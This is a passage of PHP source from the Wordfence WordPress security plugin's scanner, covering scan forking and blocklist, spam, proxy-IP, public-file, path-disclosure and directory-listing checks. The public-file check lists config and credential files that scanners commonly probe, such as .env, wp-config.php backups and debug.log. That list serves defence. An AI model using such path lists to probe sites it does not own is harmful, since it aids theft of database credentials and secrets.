reattempted later.', 'wordfence'), $startVersion, $currentVersion)); } } private function checkScanStatus() { wfIssues::updateScanStillRunning(); $this->checkForCoreVersionChange(); self::checkForKill(); $this->checkForDurationLimit(); } public function shouldFork() { $timestamp = time(); if ($timestamp - $this->cycleStartTime > $this->maxExecTime) { $this->checkScanStatus(); return true; } if ($this->lastCheck > $timestamp - $this->maxExecTime) { return false; } if ($timestamp - $this->lastCheck > self::SCAN_CHECK_INTERVAL) $this->checkScanStatus(); $this->lastCheck = $timestamp; return false; } public function forkIfNeeded() { if ($this->shouldFork()) { wordfence::status(4, 'info', __("Forking during malware scan to ensure continuity.", 'wordfence')); $this->fork(); } } public function fork() { wordfence::status(4, 'info', __("Entered fork()", 'wordfence')); if (wfConfig::set_ser('wfsd_engine', $this, true, wfConfig::DONT_AUTOLOAD)) { $this->scanController->flushSummaryItems(); wordfence::status(4, 'info', __("Calling startScan(true)", 'wordfence')); self::startScan(true, $this->scanMode); } //Otherwise there was an error so don't start another scan. exit(0); } public function emailNewIssues($timeLimitReached = false) { if (!wfCentral::pluginAlertingDisabled()) { $this->i->emailNewIssues($timeLimitReached, $this->scanController); } } public function submitMetrics() { if (wfConfig::get('other_WFNet', true)) { //Trim down the malware matches if needed to allow the report call to succeed if (isset($this->metrics['malwareSignature'])) { //Get count $count = 0; $extra_count = 0; $rules_with_extras = 0; foreach ($this->metrics['malwareSignature'] as $rule => $payloads) { $count += count($payloads); $extra_count += (count($payloads) - 1); if (count($payloads) > 1) { $rules_with_extras++; } } //Trim additional matches $overage = $extra_count - WORDFENCE_SCAN_ISSUES_MAX_REPORT; if ($overage > 0) { foreach ($this->metrics['malwareSignature'] as $rule => $payloads) { $percent = min(1, (count($payloads) - 1) / $extra_count); //Percentage of the overage this rule is responsible for $to_remove = min(count($payloads) - 1, ceil($percent * $overage)); //Remove the lesser of (all but one, the percentage of the overage) $sliced = array_slice($this->metrics['malwareSignature'][$rule], 0, max(1, count($payloads) - $to_remove)); $count -= (count($this->metrics['malwareSignature'][$rule]) - count($sliced)); $this->metrics['malwareSignature'][$rule] = $sliced; } } //Trim single matches if ($count > WORDFENCE_SCAN_ISSUES_MAX_REPORT) { $sliced = array_slice($this->metrics['malwareSignature'], 0, WORDFENCE_SCAN_ISSUES_MAX_REPORT, true); $this->metrics['malwareSignature'] = $sliced; } } $this->api->call('record_scan_metrics', array(), array('metrics' => $this->metrics)); } } private function doScan() { if ($this->scanController->useLowResourceScanning()) { $isFork = ($_GET['isFork'] == '1' ? true : false); wfConfig::set('lowResourceScanWaitStep', !wfConfig::get('lowResourceScanWaitStep')); if ($isFork && wfConfig::get('lowResourceScanWaitStep')) { sleep((int) round($this->maxExecTime / 2)); $this->fork(); //exits } } while (sizeof($this->jobList) > 0) { self::checkForKill(); $jobName = $this->jobList[0]; $callback = array($this, 'scan_' . $jobName); if (is_callable($callback)) { call_user_func($callback); } array_shift($this->jobList); //only shift once we're done because we may pause halfway through a job and need to pick up where we left off self::checkForKill(); if ($this->forkRequested) { $this->fork(); } else { $this->forkIfNeeded(); } } $this->status(1, 'info', '-------------------'); $peakMemory = wfScan::logPeakMemory(); $this->status(2, 'info', sprintf( /* translators: 1. Memory in bytes. 2. Memory in bytes. */ __('Wordfence used %1$s of memory for scan. Server peak memory usage was: %2$s', 'wordfence'), wfUtils::formatBytes($peakMemory - wfScan::$peakMemAtStart), wfUtils::formatBytes($peakMemory) )); wfScanMonitor::endMonitoring(); if ($this->isFullScan()) { $this->status(1, 'info', sprintf( /* translators: 1. Number of files. 2. Number of plugins. 3. Number of themes. 4. Number of posts. 5. Number of comments. 6. Number of URLs. 7. Time duration. */ __('Scan Complete. Scanned %1$d files, %2$d plugins, %3$d themes, %4$d posts, %5$d comments and %6$d URLs in %7$s.', 'wordfence'), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_FILES, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_PLUGINS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_THEMES, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_POSTS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_COMMENTS, 0), $this->scanController->getSummaryItem(wfScanner::SUMMARY_SCANNED_URLS, 0), wfUtils::makeDuration(time() - $this->startTime, true) )); } else { $this->status(1, 'info', sprintf( /* translators: 1. Time duration. */ __("Quick Scan Complete. Scanned in %s.", 'wordfence'), wfUtils::makeDuration(time() - $this->startTime, true) )); } $ignoredText = ''; if ($this->i->totalIgnoredIssues > 0) { $ignoredText = ' ' . sprintf( /* translators: Number of scan results. */ _n( '%d ignored issue was also detected.', '%d ignored issues were also detected.', $this->i->totalIgnoredIssues, 'wordfence' ), $this->i->totalIgnoredIssues); } if ($this->i->totalIssues > 0) { $this->status(10, 'info', "SUM_FINAL:" . sprintf( /* translators: Number of scan results. */ _n( "Scan complete. You have %d new issue to fix.", "Scan complete. You have %d new issues to fix.", $this->i->totalIssues, 'wordfence'), $this->i->totalIssues ) . $ignoredText . ' ' . __('See below.', 'wordfence') ); } else { $this->status(10, 'info', "SUM_FINAL:" . __('Scan complete. Congratulations, no new problems found.', 'wordfence') . $ignoredText); } return; } public function getCurrentJob() { return $this->jobList[0]; } private function scan_checkSpamIP() { if ($this->scanController->isPremiumScan()) { $this->statusIDX['checkSpamIP'] = wfIssues::statusStart(__("Checking if your site IP is generating spam", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SPAM_CHECK); $result = $this->api->call('check_spam_ip', array(), array( 'siteURL' => site_url() )); $haveIssues = wfIssues::STATUS_SECURE; if (!empty($result['haveIssues']) && is_array($result['issues'])) { foreach ($result['issues'] as $issue) { $added = $this->addIssue($issue['type'], wfIssues::SEVERITY_HIGH, $issue['ignoreP'], $issue['ignoreC'], $issue['shortMsg'], $issue['longMsg'], $issue['data']); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC) { $haveIssues = wfIssues::STATUS_IGNORED; } } } wfIssues::statusEnd($this->statusIDX['checkSpamIP'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SPAM_CHECK, $haveIssues); } else { wfIssues::statusPaidOnly(__("Checking if your IP is generating spam is for paid members only", 'wordfence')); sleep(2); } } private function scan_checkGSB_init() { if ($this->scanController->isPremiumScan()) { $this->statusIDX['checkGSB'] = wfIssues::statusStart(__("Checking if your site is on a domain blocklist", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_BLACKLIST_CHECK); $h = new wordfenceURLHoover($this->apiKey, $this->wp_version); $h->cleanup(); } else { wfIssues::statusPaidOnly(__("Checking if your site is on a domain blocklist is for paid members only", 'wordfence')); sleep(2); } } private function scan_checkGSB_main() { if ($this->scanController->isPremiumScan()) { if (is_multisite()) { global $wpdb; $h = new wordfenceURLHoover($this->apiKey, $this->wp_version, false, true); $blogIDs = $wpdb->get_col($wpdb->prepare("SELECT blog_id FROM {$wpdb->blogs} WHERE blog_id > %d ORDER BY blog_id ASC", $this->gsbMultisiteBlogOffset)); //Can't use wp_get_sites or get_sites because they return empty at 10k sites foreach ($blogIDs as $id) { $homeURL = get_home_url($id); $h->hoover($id, $homeURL); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS); $siteURL = get_site_url($id); if ($homeURL != $siteURL) { $h->hoover($id, $siteURL); $this->scanController->incrementSummaryItem(wfScanner::SUMMARY_SCANNED_URLS); } if ($this->shouldFork()) { $this->gsbMultisiteBlogOffset = $id; $this->forkIfNeeded(); } } } } } private function scan_checkGSB_finish() { if ($this->scanController->isPremiumScan()) { if (is_multisite()) { $h = new wordfenceURLHoover($this->apiKey, $this->wp_version, false, true); $badURLs = $h->getBaddies(); if ($h->errorMsg) { $this->status(4, 'info', sprintf(/* translators: Error message. */ __("Error checking domain blocklists: %s", 'wordfence'), $h->errorMsg)); wfIssues::statusEnd($this->statusIDX['checkGSB'], wfIssues::STATUS_FAILED); $this->scanController->completeStage(wfScanner::STAGE_BLACKLIST_CHECK, wfIssues::STATUS_FAILED); return; } $h->cleanup(); } else { $urlsToCheck = array(array(wfUtils::wpHomeURL(), wfUtils::wpSiteURL())); $badURLs = $this->api->call('check_bad_urls', array(), array('toCheck' => json_encode($urlsToCheck))); //Skipping the separate prefix check since there are just two URLs $finalResults = array(); foreach ($badURLs as $file => $badSiteList) { if (!isset($finalResults[$file])) { $finalResults[$file] = array(); } foreach ($badSiteList as $badSite) { $finalResults[$file][] = array( 'URL' => $badSite[0], 'badList' => $badSite[1] ); } } $badURLs = $finalResults; } $haveIssues = wfIssues::STATUS_SECURE; if (is_array($badURLs) && count($badURLs) > 0) { foreach ($badURLs as $id => $badSiteList) { foreach ($badSiteList as $badSite) { $url = $badSite['URL']; $badList = $badSite['badList']; $data = array('badURL' => $url); if ($badList == 'goog-malware-shavar') { if (is_multisite()) { $shortMsg = sprintf(/* translators: WordPress site ID. */ __('The multisite blog with ID %d is listed on Google\'s Safe Browsing malware list.', 'wordfence'), intval($id)); $data['multisite'] = intval($id); } else { $shortMsg = __('Your site is listed on Google\'s Safe Browsing malware list.', 'wordfence'); } $longMsg = sprintf( /* translators: 1. URL. 2. URL. */ __('The URL %1$s is on the malware list. More info available at <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=%2$s&client=googlechrome&hl=en-US" target="_blank" rel="noopener noreferrer">Google Safe Browsing diagnostic page<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>.', 'wordfence'), esc_html($url), urlencode($url)); $data['gsb'] = $badList; } else if ($badList == 'googpub-phish-shavar') { if (is_multisite()) { $shortMsg = sprintf( /* translators: WordPress site ID. */ __('The multisite blog with ID %d is listed on Google\'s Safe Browsing phishing list.', 'wordfence'), intval($id)); $data['multisite'] = intval($id); } else { $shortMsg = __('Your site is listed on Google\'s Safe Browsing phishing list.', 'wordfence'); } $longMsg = sprintf( /* translators: 1. URL. 2. URL. */ __('The URL %1$s is on the phishing list. More info available at <a href="http://safebrowsing.clients.google.com/safebrowsing/diagnostic?site=%2$s&client=googlechrome&hl=en-US" target="_blank" rel="noopener noreferrer">Google Safe Browsing diagnostic page<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>.', 'wordfence'), esc_html($url), urlencode($url)); $data['gsb'] = $badList; } else if ($badList == 'wordfence-dbl') { if (is_multisite()) { $shortMsg = sprintf( /* translators: WordPress site ID. */ __('The multisite blog with ID %d is listed on the Wordfence domain blocklist.', 'wordfence'), intval($id)); $data['multisite'] = intval($id); } else { $shortMsg = __('Your site is listed on the Wordfence domain blocklist.', 'wordfence'); } $longMsg = sprintf( /* translators: URL. */ __("The URL %s is on the blocklist.", 'wordfence'), esc_html($url)); $data['gsb'] = $badList; } else { if (is_multisite()) { $shortMsg = sprintf( /* translators: WordPress site ID. */ __('The multisite blog with ID %d is listed on a domain blocklist.', 'wordfence'), intval($id)); $data['multisite'] = intval($id); } else { $shortMsg = __('Your site is listed on a domain blocklist.', 'wordfence'); } $longMsg = sprintf(/* translators: URL. */ __("The URL is: %s", 'wordfence'), esc_html($url)); $data['gsb'] = 'unknown'; } $added = $this->addIssue('checkGSB', wfIssues::SEVERITY_CRITICAL, 'checkGSB', 'checkGSB' . $url, $shortMsg, $longMsg, $data); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } } wfIssues::statusEnd($this->statusIDX['checkGSB'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_BLACKLIST_CHECK, $haveIssues); } } private function scan_checkHowGetIPs_init() { $this->statusIDX['checkHowGetIPs'] = wfIssues::statusStart(__("Checking for the most secure way to get IPs", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SERVER_STATE); $this->checkHowGetIPsRequestTime = time(); wfUtils::requestDetectProxyCallback(); } private function scan_checkHowGetIPs_main() { if (!defined('WORDFENCE_CHECKHOWGETIPS_TIMEOUT')) { define('WORDFENCE_CHECKHOWGETIPS_TIMEOUT', 30); } $haveIssues = wfIssues::STATUS_SECURE; $existing = wfConfig::get('howGetIPs', ''); $recommendation = wfConfig::get('detectProxyRecommendation', ''); while (empty($recommendation) && (time() - $this->checkHowGetIPsRequestTime) < WORDFENCE_CHECKHOWGETIPS_TIMEOUT) { sleep(1); $this->forkIfNeeded(); $recommendation = wfConfig::get('detectProxyRecommendation', ''); } if ($recommendation == 'DEFERRED') { //Do nothing $haveIssues = wfIssues::STATUS_SKIPPED; } else if (empty($recommendation)) { $haveIssues = wfIssues::STATUS_FAILED; } else if ($recommendation == 'UNKNOWN') { $added = $this->addIssue('checkHowGetIPs', wfIssues::SEVERITY_HIGH, 'checkHowGetIPs', 'checkHowGetIPs' . $recommendation . WORDFENCE_VERSION, __("Unable to accurately detect IPs", 'wordfence'), sprintf(/* translators: Support URL. */ __('Wordfence was unable to validate a test request to your website. This can happen if your website is behind a proxy that does not use one of the standard ways to convey the IP of the request or it is unreachable publicly. IP blocking and live traffic information may not be accurate. <a href="%s" target="_blank" rel="noopener noreferrer">Get More Information<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_MISCONFIGURED_HOW_GET_IPS)) , array()); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC) { $haveIssues = wfIssues::STATUS_IGNORED; } } else if (!empty($existing) && $existing != $recommendation) { $extraMsg = ''; if ($recommendation == 'REMOTE_ADDR') { $extraMsg = ' ' . __('For maximum security use PHP\'s built in REMOTE_ADDR.', 'wordfence'); } else if ($recommendation == 'HTTP_X_FORWARDED_FOR') { $extraMsg = ' ' . __('This site appears to be behind a front-end proxy, so using the X-Forwarded-For HTTP header will resolve to the correct IPs.', 'wordfence'); } else if ($recommendation == 'HTTP_X_REAL_IP') { $extraMsg = ' ' . __('This site appears to be behind a front-end proxy, so using the X-Real-IP HTTP header will resolve to the correct IPs.', 'wordfence'); } else if ($recommendation == 'HTTP_CF_CONNECTING_IP') { $extraMsg = ' ' . __('This site appears to be behind Cloudflare, so using the Cloudflare "CF-Connecting-IP" HTTP header will resolve to the correct IPs.', 'wordfence'); } $added = $this->addIssue('checkHowGetIPs', wfIssues::SEVERITY_HIGH, 'checkHowGetIPs', 'checkHowGetIPs' . $recommendation . WORDFENCE_VERSION, __("'How does Wordfence get IPs' is misconfigured", 'wordfence'), sprintf( /* translators: Support URL. */ __('A test request to this website was detected on a different value for this setting. IP blocking and live traffic information may not be accurate. <a href="%s" target="_blank" rel="noopener noreferrer">Get More Information<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), wfSupportController::esc_supportURL(wfSupportController::ITEM_NOTICE_MISCONFIGURED_HOW_GET_IPS) ) . $extraMsg, array('recommendation' => $recommendation)); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC) { $haveIssues = wfIssues::STATUS_IGNORED; } } wfIssues::statusEnd($this->statusIDX['checkHowGetIPs'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, $haveIssues); } private function scan_checkHowGetIPs_finish() { /* Do nothing */ } private function scan_checkReadableConfig() { $haveIssues = wfIssues::STATUS_SECURE; $status = wfIssues::statusStart(__("Check for publicly accessible configuration files, backup files and logs", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_PUBLIC_FILES); $backupFileTests = array( wfCommonBackupFileTest::createFromRootPath('.env'), wfCommonBackupFileTest::createFromRootPath('.user.ini'), // wfCommonBackupFileTest::createFromRootPath('.htaccess'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.bak'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.bak.a2'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.swo'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.save'), new wfCommonBackupFileTest(home_url('%23wp-config.php%23'), ABSPATH . '#wp-config.php#'), wfCommonBackupFileTest::createFromRootPath('wp-config.php~'), wfCommonBackupFileTest::createFromRootPath('wp-config.old'), wfCommonBackupFileTest::createFromRootPath('.wp-config.php.swp'), wfCommonBackupFileTest::createFromRootPath('wp-config.bak'), wfCommonBackupFileTest::createFromRootPath('wp-config.save'), wfCommonBackupFileTest::createFromRootPath('wp-config.php_bak'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.swp'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.old'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.original'), wfCommonBackupFileTest::createFromRootPath('wp-config.php.orig'), wfCommonBackupFileTest::createFromRootPath('wp-config.txt'), wfCommonBackupFileTest::createFromRootPath('wp-config.original'), wfCommonBackupFileTest::createFromRootPath('wp-config.orig'), new wfCommonBackupFileTest(content_url('/debug.log'), WP_CONTENT_DIR . '/debug.log', array( 'headers' => array( 'Range' => 'bytes=0-700', ), )), ); $backupFileTests = array_merge($backupFileTests, wfCommonBackupFileTest::createAllForFile('searchreplacedb2.php', wfCommonBackupFileTest::MATCH_REGEX, '/<title>Search and replace DB/i')); $userIniFilename = ini_get('user_ini.filename'); if ($userIniFilename && $userIniFilename !== '.user.ini') { $backupFileTests[] = wfCommonBackupFileTest::createFromRootPath($userIniFilename); } /** @var wfCommonBackupFileTest $test */ foreach ($backupFileTests as $test) { $pathFromRoot = (strpos($test->getPath(), ABSPATH) === 0) ? substr($test->getPath(), strlen(ABSPATH)) : $test->getPath(); wordfence::status(4, 'info', "Testing {$pathFromRoot}"); if ($test->fileExists() && $test->isPubliclyAccessible()) { $key = "configReadable" . bin2hex($test->getUrl()); $added = $this->addIssue( 'configReadable', wfIssues::SEVERITY_CRITICAL, $key, $key, sprintf( /* translators: File path. */ __('Publicly accessible config, backup, or log file found: %s', 'wordfence'), esc_html($pathFromRoot)), sprintf( /* translators: 1. URL to publicly accessible file. 2. Support URL. */ __('<a href="%1$s" target="_blank" rel="noopener noreferrer">%1$s</a> is publicly accessible and may expose source code or sensitive information about your site. Files such as this one are commonly checked for by scanners and should be made inaccessible. Alternately, some can be removed if you are certain your site does not need them. Sites using the nginx web server may need manual configuration changes to protect such files. <a href="%2$s" target="_blank" rel="noopener noreferrer">Learn more<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>', 'wordfence'), $test->getUrl(), wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_PUBLIC_CONFIG) ), array( 'url' => $test->getUrl(), 'file' => $pathFromRoot, 'realFile' => $test->getPath(), 'canDelete' => true, ) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } wfIssues::statusEnd($status, $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_PUBLIC_FILES, $haveIssues); } private function scan_wpscan_fullPathDisclosure() { $file = realpath(ABSPATH . WPINC . "/rss-functions.php"); if (!$file) { return; } $haveIssues = wfIssues::STATUS_SECURE; $status = wfIssues::statusStart(__("Checking if your server discloses the path to the document root", 'wordfence')); $testPage = includes_url() . basename($file); if (self::testForFullPathDisclosure($testPage, $file)) { $key = 'wpscan_fullPathDisclosure' . $testPage; $added = $this->addIssue( 'wpscan_fullPathDisclosure', wfIssues::SEVERITY_HIGH, $key, $key, __('Web server exposes the document root', 'wordfence'), __('Full Path Disclosure (FPD) vulnerabilities enable the attacker to see the path to the webroot/file. e.g.: /home/user/htdocs/file/. Certain vulnerabilities, such as using the load_file() (within a SQL Injection) query to view the page source, require the attacker to have the full path to the file they wish to view.', 'wordfence'), array('url' => $testPage) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } wfIssues::statusEnd($status, $haveIssues); } private function scan_wpscan_directoryListingEnabled() { $this->statusIDX['wpscan_directoryListingEnabled'] = wfIssues::statusStart("Checking to see if directory listing is enabled"); $uploadPaths = wp_upload_dir(); $enabled = self::isDirectoryListingEnabled($uploadPaths['baseurl']); $haveIssues = wfIssues::STATUS_SECURE; if ($enabled) { $added = $this->addIssue( 'wpscan_directoryListingEnabled', wfIssues::SEVERITY_HIGH, 'wpscan_directoryListingEnabled', 'wpscan_directoryListingEnabled', __("Directory listing is enabled", 'wordfence'), __("Directory listing provides an attacker with the complete index of all the resources located inside of the directory. The specific risks and consequences vary depending on which files are listed and accessible, but it is recommended that you disable it unless it is needed.", 'wordfence'), array( 'url' => $uploadPaths['baseurl'], ) ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } wfIssues::statusEnd($this->statusIDX['wpscan_directoryListingEnabled'], $haveIssues); } private function scan_checkSpamvertized() { if ($this->scanController->isPremiumScan()) { $this->statusIDX['spamvertizeCheck'] = wfIssues::statusStart(__("Checking if your site is being Spamvertised", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SPAMVERTISING_CHECKS); $result = $this->api->call('spamvertize_check', array(), array( 'siteURL' => site_url() )); $haveIssues = wfIssues::STATUS_SECURE; if ($result['haveIssues'] && is_array($result['issues'])) { foreach ($result['issues'] as $issue) { $added = $this->addIssue($issue['type'], wfIssues::SEVERITY_CRITICAL, $issue['ignoreP'], $issue['ignoreC'], $issue['shortMsg'], $issue['longMsg'], $issue['data']); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } } wfIssues::statusEnd($this->statusIDX['spamvertizeCheck'], $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SPAMVERTISING_CHECKS, $haveIssues); } else { wfIssues::statusPaidOnly(__("Check if your site is being Spamvertized is for paid members only", 'wordfence')); sleep(2); } } private function _scannedSkippedPaths() { static $_cache = null; if ($_cache === null) { $scanPaths = array(); $directoryConstants = array( 'WP_PLUGIN_DIR' => '/wp-content/plugins', 'UPLOADS' => '/wp-content/uploads', 'WP_CONTENT_DIR' => '/wp-content', ); foreach ($directoryConstants as $constant => $wordpressPath) { if (!defined($constant)) continue; $path = constant($constant); if (!empty($path)) { if ($constant === 'UPLOADS') $path = ABSPATH . $path; try { $scanPaths[] = new wfScanPath( ABSPATH, $path, $wordpressPath ); } catch (wfInvalidPathException $e) { //Ignore invalid scan paths wordfence::status(4, 'info', sprintf(__("Ignoring invalid scan path: %s", 'wordfence'), $e->getPath())); } } } $scanPaths[] = new wfScanPath( ABSPATH, ABSPATH, '/', array('.htaccess', 'index.php', 'license.txt', 'readme.html', 'wp-activate.php', 'wp-admin', 'wp-app.php', 'wp-blog-header.php', 'wp-comments-post.php', 'wp-config-sample.php', 'wp-content', 'wp-cron.php', 'wp-includes', 'wp-links-opml.php', 'wp-load.php', 'wp-login.php', 'wp-mail.php', 'wp-pass.php', 'wp-register.php', 'wp-settings.php', 'wp-signup.php', 'wp-trackback.php', 'xmlrpc.php', '.well-known', 'cgi-bin') ); if (WF_IS_FLYWHEEL && !empty($_SERVER['DOCUMENT_ROOT'])) { $scanPaths[] = new wfScanPath( ABSPATH, $_SERVER['DOCUMENT_ROOT'], '/../' ); } $scanOutside = $this->scanController->scanOutsideWordPress(); $entrypoints = array(); foreach ($scanPaths as $scanPath) { if (!$scanOutside && $scanPath->hasExpectedFiles()) { try { foreach ($scanPath->getContents() as $fileName) { try { $file = $scanPath->createScanFile($fileName); if (wfUtils::fileTooBig($file->getRealPath())) continue; $entrypoint = new wfScanEntrypoint($file); if ($scanPath->expectsFile($fileName) || wfFileUtils::isReadableFile($file->getRealPath())) { $entrypoint->setIncluded(); } $entrypoint->addTo($entrypoints); } catch (wfInvalidPathException $e) { wordfence::status(4, 'info', sprintf(__("Ignoring invalid expected scan file: %s", 'wordfence'), $e->getPath())); } } } catch (wfInaccessibleDirectoryException $e) { throw new Exception(__("Wordfence could not read the content of your WordPress directory. This usually indicates your permissions are so strict that your web server can't read your WordPress directory.", 'wordfence')); } } else { try { $entrypoint = new wfScanEntrypoint($scanPath->createScanFile('/'), true); $entrypoint->addTo($entrypoints); } catch (wfInvalidPathException $e) { wordfence::status(4, 'info', sprintf(__("Ignoring invalid base scan file: %s", 'wordfence'), $e->getPath())); } } } $_cache = wfScanEntrypoint::getScannedSkippedFiles($entrypoints); } return $_cache; } private function scan_checkSkippedFiles() { $haveIssues = wfIssues::STATUS_SECURE; $status = wfIssues::statusStart(__("Checking for paths skipped due to scan settings", 'wordfence')); $this->scanController->startStage(wfScanner::STAGE_SERVER_STATE); $paths = $this->_scannedSkippedPaths(); if (!empty($paths['skipped'])) { $skippedList = ''; foreach ($paths['skipped'] as $index => $file) { $path = esc_html($file->getDisplayPath()); if ($index >= 10) { $skippedList .= sprintf(/* translators: Number of paths skipped in scan. */ __(', and %d more.', 'wordfence'), count($paths['skipped']) - 10); break; } if (!empty($skippedList)) { if (count($paths['skipped']) == 2) { $skippedList .= ' and '; } else if ($index == count($paths['skipped']) - 1) { $skippedList .= ', and '; } else { $skippedList .= ', '; } } $skippedList .= $path; } $c = count($paths['skipped']); $key = "skippedPaths"; $added = $this->addIssue( 'skippedPaths', wfIssues::SEVERITY_LOW, $key, $key, sprintf(/* translators: Number of paths skipped in scan. */ _n('%d path was skipped for the malware scan due to scan settings', '%d paths were skipped for the malware scan due to scan settings', $c, 'wordfence'), $c), sprintf( /* translators: 1. Number of paths skipped in scan. 2. Support URL. 3. List of skipped paths. */ _n( 'The option "Scan files outside your WordPress installation" is off by default, which means %1$d path and its file(s) will not be scanned for malware or unauthorized changes. To continue skipping this path, you may ignore this issue. Or to start scanning it, enable the option and subsequent scans will include it. Some paths may not be necessary to scan, so this is optional. <a href="%2$s" target="_blank" rel="noopener noreferrer">Learn More<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a><br><br>The path skipped is %3$s', 'The option "Scan files outside your WordPress installation" is off by default, which means %1$d paths and their file(s) will not be scanned for malware or unauthorized changes. To continue skipping these paths, you may ignore this issue. Or to start scanning them, enable the option and subsequent scans will include them. Some paths may not be necessary to scan, so this is optional. <a href="%2$s" target="_blank" rel="noopener noreferrer">Learn More<span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a><br><br>The paths skipped are %3$s', $c, 'wordfence' ), $c, wfSupportController::esc_supportURL(wfSupportController::ITEM_SCAN_RESULT_SKIPPED_PATHS), $skippedList ), array() ); if ($added == wfIssues::ISSUE_ADDED || $added == wfIssues::ISSUE_UPDATED) { $haveIssues = wfIssues::STATUS_PROBLEM; } else if ($haveIssues != wfIssues::STATUS_PROBLEM && ($added == wfIssues::ISSUE_IGNOREP || $added == wfIssues::ISSUE_IGNOREC)) { $haveIssues = wfIssues::STATUS_IGNORED; } } wfIssues::statusEnd($status, $haveIssues); $this->scanController->completeStage(wfScanner::STAGE_SERVER_STATE, $haveIssues); } private function scan_knownFiles_init() { $paths = $this->_scannedSkippedPaths(); $includeInKnownFilesScan = $paths['scanned']; if ($this->scanController->scanOutsideWordPress()) { wordfence::status(2, 'info', __("Including files that are outside the WordPress installation in the scan.", 'wordfence')); } $this->status(2, 'info', __("Getting plugin list from WordPress", 'wordfence')); $knownFilesPlugins = $this->getPlugins(); $this->status(2, 'info', sprintf(/* translators: Number of plugins. */ _n("Found %d plugin", "Found %d plugins", sizeof($knownFilesPlugins), 'wordfence'), sizeof($knownFilesPlugins))); $this->status(2, 'info', __("Getting theme list from WordPress", 'wordfence')); $knownFilesThemes = $this->getThemes(); $this->status(2, 'info', sprintf(/* translators: Number of themes. */ _n("Found %d theme", "Found %d themes", sizeof($knownFilesThemes), 'wordfence'), sizeof($knownFilesThemes))); $this->hasher = new wordfenceHash($includeInKnownFilesScan, $this, wfUtils::hex2bin($this->malwarePrefixesHash), $this->coreHashesHash, $this->scanMode); } private function scan_knownFiles_main() { $this->hasher->run($this); //Include this so we can call addIssue and ->api-> $this->suspectedFiles = $this->hasher->getSuspectedFiles(); $this->hasher = false; } private function scan_knownFiles_finish() { } private function scan_fileContents_init() { $options = $this->scanController->scanOptions(); if ($options['scansEnabled_fileContents']) { 